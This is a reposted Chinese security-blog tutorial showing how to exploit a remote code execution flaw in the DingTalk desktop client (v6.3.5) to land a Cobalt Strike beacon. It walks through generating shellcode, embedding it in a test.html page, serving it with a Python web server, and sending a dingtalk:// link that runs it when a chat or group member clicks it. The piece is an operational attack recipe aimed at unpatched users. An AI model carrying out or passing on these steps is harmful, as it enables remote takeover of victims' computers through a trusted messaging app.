dingtalk-RCE上线CS

admin 2022年11月22日21:43:35安全文章评论7 views686字阅读2分17秒阅读模式

文章来源|MS08067 安全实验室

本文作者:Taoing(Web漏洞挖掘班讲师)

项目地址https://github.com/crazy0x70/dingtalk-RCE

本次测试环境:

钉钉:DingTalk_v6.3.5.11308701

dingtalk-RCE上线CS

下载地址:https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe

CS:4.4dingtalk-RCE上线CSpayload为32位c语言

1.生成payload

生成32为c语言格式payload

dingtalk-RCE上线CS
dingtalk-RCE上线CS

2.修改payload格式

使用编辑器打开payload,将x修改为0x,注意使用逗号分隔

替换前

dingtalk-RCE上线CS

替换后dingtalk-RCE上线CS

将替换后的shellcode复制到test.html中的shellcode=new Uint8Array部分,注意去掉开头的逗号

替换前dingtalk-RCE上线CS

替换后dingtalk-RCE上线CS

3.部署web服务

使用python开一个web服务,将替换后的test.html放入web文件夹

python3 -m http.server 80
dingtalk-RCE上线CS

4.钉钉发送poc

将poc发送至聊天窗口

dingtalk://dingtalkclient/page/link?url=ip:port/test.html&pc_slide=true
dingtalk-RCE上线CS

5.上线

点击poc即可上线,发到群里别人点需要cs和web服务部署到公网,同时非安全版本钉钉才能上线dingtalk-RCE上线CS


dingtalk-RCE上线CS

—  实验室旗下直播培训课程  —



















dingtalk-RCE上线CSdingtalk-RCE上线CS

dingtalk-RCE上线CS

dingtalk-RCE上线CS

dingtalk-RCE上线CS

dingtalk-RCE上线CS

dingtalk-RCE上线CS


来和20000+位同学加入MS08067一起学习吧!


dingtalk-RCE上线CS

原文始发于微信公众号(Ms08067安全实验室):dingtalk-RCE上线CS

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月22日21:43:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  dingtalk-RCE上线CS http://cn-sec.com/archives/1424346.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: